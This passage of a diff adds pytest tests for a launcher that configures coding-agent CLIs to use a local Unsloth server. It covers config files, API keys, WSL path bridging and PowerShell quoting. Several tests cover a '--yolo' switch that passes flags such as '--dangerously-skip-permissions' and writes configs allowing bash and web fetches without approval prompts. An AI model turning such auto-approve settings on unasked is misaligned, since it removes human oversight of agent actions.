test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys): + pytest.importorskip("yaml") + original = "- just\n- a\n- list\n" # valid YAML, but not a mapping + hermes_config.write_text(original) + start.write_hermes_config(BASE, MODEL, hermes_config) + assert hermes_config.read_text() == original # user-managed file left untouched + assert "couldn't parse" in capsys.readouterr().err + + +def test_connect_hermes_no_launch(fake_studio, tmp_path): + yaml = pytest.importorskip("yaml") + result = CliRunner().invoke(start.start_app, ["hermes", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface") + # HERMES_HOME relocates the whole hermes home, so the user's ~/.hermes is untouched. + home = tmp_path / "agents" / "hermes" + _assert_env_set(result.output, "HERMES_HOME", str(home)) + assert "hermes" in result.output + config = yaml.safe_load((home / "config.yaml").read_text()) + assert config["model"]["provider"] == "custom:unsloth" + assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1" + assert config["model"]["default"] == MODEL["id"] + assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) + + +# ── Pi (OpenAI-compatible /v1, key in config, ~/.pi relocated via HOME) ── + + +def test_write_pi_config_fresh(tmp_path): + path = tmp_path / ".pi" / "agent" / "models.json" + start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + provider = config["providers"]["unsloth"] + assert provider["api"] == "openai-completions" + assert provider["baseUrl"] == f"{BASE}/v1" + assert provider["apiKey"] == "sk-unsloth-abc" + # Pin the loaded window (and a sane output cap) so Pi compacts instead of + # overflowing; without it Pi assumes its 128000 default. + assert provider["models"] == [ + {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192} + ] + + +def test_write_pi_config_preserves_and_idempotent(tmp_path): + path = tmp_path / ".pi" / "agent" / "models.json" + path.parent.mkdir(parents = True) + path.write_text(json.dumps({"providers": {"google": {"api": "gemini"}}})) + start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + assert config["providers"]["google"] == {"api": "gemini"} # unrelated provider kept + assert config["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1" + before = path.read_text() + start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path) + assert path.read_text() == before + + +def test_connect_pi_no_launch(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"]) + assert result.exit_code == 0, result.output + # Pi resolves its config dir from PI_CODING_AGENT_DIR first, so pin it at the session + # dir (and relocate HOME) to keep the user's real ~/.pi untouched and their own + # PI_CODING_AGENT_DIR from redirecting Pi away from our provider/key. + home = tmp_path / "agents" / "pi" + _assert_env_set(result.output, "HOME", str(home)) + _assert_env_set(result.output, "PI_CODING_AGENT_DIR", str(home / ".pi" / "agent")) + # Provider/model pinned on the command (Pi defaults to google otherwise). + assert f"pi --provider unsloth --model {MODEL['id']}" in result.output + config = json.loads((home / ".pi" / "agent" / "models.json").read_text()) + assert config["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface" + assert config["providers"]["unsloth"]["models"] == [ + {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192} + ] + assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) + + +def test_connect_pi_no_launch_windows_relocates_userprofile(fake_studio, tmp_path, monkeypatch): + # On native Windows Node resolves ~/.pi via USERPROFILE, not HOME, so the session + # must point USERPROFILE at the relocated home or Pi reads the user's real ~/.pi. + monkeypatch.setattr(start.os, "name", "nt") + result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"]) + assert result.exit_code == 0, result.output + home = tmp_path / "agents" / "pi" + assert f'$env:HOME = "{home}"' in result.output + assert f'$env:USERPROFILE = "{home}"' in result.output + + +# ── WSLENV path translation + PowerShell quoting (helper units) ── + + +def test_wsl_bridge_names_flags_paths_not_scalars(): + # WSLENV only translates a var to a Windows path when its entry carries /p. + # Path-valued vars must get it; scalar knobs and URLs must not, or WSLENV would + # mangle them when handing off to a Windows shim under /mnt. + env = { + "CODEX_HOME": "/tmp/sess/codex", + "HOME": "/tmp/sess/pi", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "4096", + "ANTHROPIC_BASE_URL": "http://127.0.0.1:8888", + "USERPROFILE": r"C:\Users\x", + } + names = start._wsl_bridge_names(env, ("ANTHROPIC_API_KEY",)) + assert "CODEX_HOME/p" in names + assert "HOME/p" in names + assert "USERPROFILE/p" in names # drive-qualified Windows path + assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" in names # scalar: no /p + assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW/p" not in names + assert "ANTHROPIC_BASE_URL" in names # URL is not a filesystem path + assert "ANTHROPIC_API_KEY" in names # cleared var carries no value to translate + + +def test_merge_wslenv_dedups_on_base_name(): + # An already-shared var must not be appended again just because the flag differs. + merged = start._merge_wslenv("CODEX_HOME/p:FOO", ("CODEX_HOME/p", "BAR/p")) + parts = merged.split(":") + assert parts.count("CODEX_HOME/p") == 1 + assert "FOO" in parts and "BAR/p" in parts + + +def test_merge_wslenv_upgrades_existing_unflagged_entry(): + # A user's pre-existing bare "HOME" must be upgraded to "HOME/p" (not left bare or + # duplicated), or the Windows shim gets the path without WSL translation. + merged = start._merge_wslenv("HOME:FOO", ("HOME/p", "CODEX_HOME/p")) + parts = merged.split(":") + assert "HOME/p" in parts and "HOME" not in parts # upgraded in place + assert parts.count("HOME/p") == 1 + assert "FOO" in parts # untouched user var preserved + assert "CODEX_HOME/p" in parts + + +def test_powershell_quote_single_quotes_json(): + # Bare flags/paths pass through; JSON payloads get single-quoted so PowerShell + # keeps the embedded double quotes literal (list2cmdline's backslashes would not). + assert start._powershell_quote("--settings") == "--settings" + assert start._powershell_quote("unsloth/gemma-4-26B") == "unsloth/gemma-4-26B" + quoted = start._powershell_quote(start._CLAUDE_SETTINGS_OVERLAY) + assert quoted == "'" + start._CLAUDE_SETTINGS_OVERLAY + "'" + assert "\\" not in quoted # no cmd.exe backslash escaping + assert start._powershell_quote("a'b") == "'a''b'" # embedded quote doubled + + +# ── --yolo: one switch routed to each agent's own auto-approve form ── + +# The native "run tools without prompting" CLI flag each agent should receive. +_NATIVE_YOLO = { + "claude": "--dangerously-skip-permissions", + "codex": "--dangerously-bypass-approvals-and-sandbox", + "hermes": "--yolo", + "pi": "--approve", +} + + +@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items())) +def test_yolo_routes_to_native_flag(fake_studio, agent, native): + result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"]) + assert result.exit_code == 0, result.output + assert native in result.output + + +@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items())) +def test_no_yolo_omits_native_flag(fake_studio, agent, native): + result = CliRunner().invoke(start.start_app, [agent, "--no-launch"]) + assert result.exit_code == 0, result.output + # pi's --approve is a real flag only added under --yolo; assert it's absent here. + command = _launch_command(result.output) + assert command and command[0] == agent, result.output + assert native not in command + + +@pytest.mark.parametrize( + "alias", + ["--yolo", "--dangerously-skip-permissions", "--dangerously-bypass-approvals-and-sandbox"], +) +def test_yolo_aliases_are_interchangeable(fake_studio, alias): + # Any spelling on any agent routes to that agent's own flag, even the "wrong" one. + claude = CliRunner().invoke(start.start_app, ["claude", alias, "--no-launch"]) + assert claude.exit_code == 0, claude.output + assert "--dangerously-skip-permissions" in claude.output + # The codex spelling must not leak through to Claude's command line. + assert "--dangerously-bypass-approvals-and-sandbox" not in claude.output + + codex = CliRunner().invoke(start.start_app, ["codex", alias, "--no-launch"]) + assert codex.exit_code == 0, codex.output + assert "--dangerously-bypass-approvals-and-sandbox" in codex.output + assert "--dangerously-skip-permissions" not in codex.output + + +def test_yolo_opencode_writes_permission_block(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"]) + assert result.exit_code == 0, result.output + config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text()) + assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"} + + +def test_no_yolo_opencode_has_no_permission_block(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"]) + assert result.exit_code == 0, result.output + config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text()) + assert "permission" not in config + + +def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"]) + assert result.exit_code == 0, result.output + state = tmp_path / "agents" / "openclaw" + config = json.loads((state / "openclaw.json").read_text()) + assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"} + # Both layers: the host approvals file in OPENCLAW_STATE_DIR must also be set, or + # OpenClaw can still prompt/deny despite the config. + approvals = json.loads((state / "exec-approvals.json").read_text()) + assert approvals["defaults"] == {"security": "full", "ask": "off", "askFallback": "full"} + + +def test_no_yolo_openclaw_has_no_exec_policy(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"]) + assert result.exit_code == 0, result.output + state = tmp_path / "agents" / "openclaw" + config = json.loads((state / "openclaw.json").read_text()) + assert "exec" not in config.get("tools", {}) # no auto-approve policy without --yolo + assert not (state / "exec-approvals.json").exists() + + +def test_write_opencode_config_yolo_unit(tmp_path): + path = tmp_path / "opencode.json" + start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True) + config = json.loads(path.read_text()) + assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"} + + +def test_write_openclaw_config_yolo_unit(tmp_path): + path = tmp_path / "openclaw.json" + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True) + config = json.loads(path.read_text()) + assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"} + approvals = json.loads((path.parent / "exec-approvals.json").read_text()) + assert approvals == { + "version": 1, + "defaults": {"security": "full", "ask": "off", "askFallback": "full"}, + } + + +def test_yolo_command_flags_unmapped_agent_is_empty(): + # Config-based agents (and any typo) must yield no flag, not a KeyError. + assert start._yolo_command_flags("opencode", True) == [] + assert start._yolo_command_flags("openclaw", True) == [] + assert start._yolo_command_flags("claude", True) == ["--dangerously-skip-permissions"] + assert start._yolo_command_flags("claude", False) == [] + + +def test_yolo_config_agents_add_no_command_flag(fake_studio): + # opencode/openclaw auto-approve is config-only; nothing should leak onto argv. + for agent in ("opencode", "openclaw"): + result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"]) + assert result.exit_code == 0, result.output + command = _launch_command(result.output) + assert command and command[0] == agent, result.output + assert not any("--yolo" in arg or "--dangerous" in arg for arg in command) + + +def test_pi_launch_clears_screen_first(fake_studio, monkeypatch): + # Pi paints inline from the current cursor position (no alternate screen, no + # clear on its first render), so the launcher hands it a clean screen. The + # clear must come BEFORE the exec, and only on the launch path. + calls = [] + monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear")) + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/pi") + + def run(command, env): + calls.append("exec") + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["pi"]) + assert result.exit_code == 0, result.output + assert calls == ["clear", "exec"] + + +def test_pi_no_launch_does_not_clear(fake_studio, monkeypatch): + # The --no-launch recipe is meant to be read (and piped); never wipe it. + calls = [] + monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear")) + result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"]) + assert result.exit_code == 0, result.output + assert calls == [] + + +def test_claude_launch_does_not_clear(fake_studio, monkeypatch): + # Alternate-screen agents manage the terminal themselves; leave it alone. + calls = [] + monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear")) + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr(start, "_claude_flags", lambda: []) + monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0)) + result = CliRunner().invoke(start.start_app, ["claude"]) + assert result.exit_code == 0, result.output + assert calls == [] + + +@pytest.mark.skipif( + os.name == "nt", + reason = "WSL-from-Linux scenario: a Windows pi shim under /mnt called from WSL " + "(os.name is 'posix' under WSL), so this can't run on a native Windows runner.", +) +def test_connect_pi_wsl_windows_shim_relocates_userprofile(fake_studio, monkeypatch): + captured = {} + monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") + monkeypatch.setattr(start.shutil, "which", lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/pi") + + def run(command, env): + captured["env"] = env + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["pi"]) + assert result.exit_code == 0, result.output + home = captured["env"]["HOME"] + # A Windows pi shim resolves ~/.pi via USERPROFILE, so it must match the session + # HOME and ride the WSLENV bridge (with /p) so the path is translated for Windows. + assert captured["env"]["USERPROFILE"] == home + wslenv = captured["env"]["WSLENV"].split(":") + assert "HOME/p" in wslenv + assert "USERPROFILE/p" in wslenv + + +def test_agent_api_key_auto_started_rejected_env_key_falls_back(fake_studio, tmp_path, monkeypatch): + # UNSLOTH_API_KEY exported for some OTHER server must not fail the launch + # against a server this run just auto-started: validate, then fall back to + # the local mint path, and never remember the foreign key for this base. + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/v1/models") and token == "sk-unsloth-other-server": + raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None) + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + key = start._agent_api_key(BASE, "sk-unsloth-other-server", auto_started = True) + assert key == "sk-unsloth-feedfacefeedface" # minted for the fresh server + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + assert "sk-unsloth-other-server" not in json.dumps(cached["servers"].get(BASE, {})) + + +def test_agent_api_key_auto_started_accepted_key_is_honored(fake_studio, tmp_path): + # An explicit key the fresh server accepts (e.g. persisted in this Studio + # home's auth db across restarts) keeps working exactly as before. + key = start._agent_api_key(BASE, "sk-unsloth-deadbeefdeadbeef", auto_started = True) + assert key == "sk-unsloth-deadbeefdeadbeef" + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"] + + +def test_session_config_no_launch_preserves_existing_state(fake_studio, tmp_path): + # A previously printed recipe may still be running an agent whose sessions + # or sqlite state live in the stable home; a re-run must not wipe it. + with start._session_config("codex", launch = False) as home: + marker = home / "sessions" / "live.sqlite" + marker.parent.mkdir(parents = True) + marker.write_text("state") + with start._session_config("codex", launch = False) as home2: + assert home2 == home + assert (home2 / "sessions" / "live.sqlite").read_text() == "state"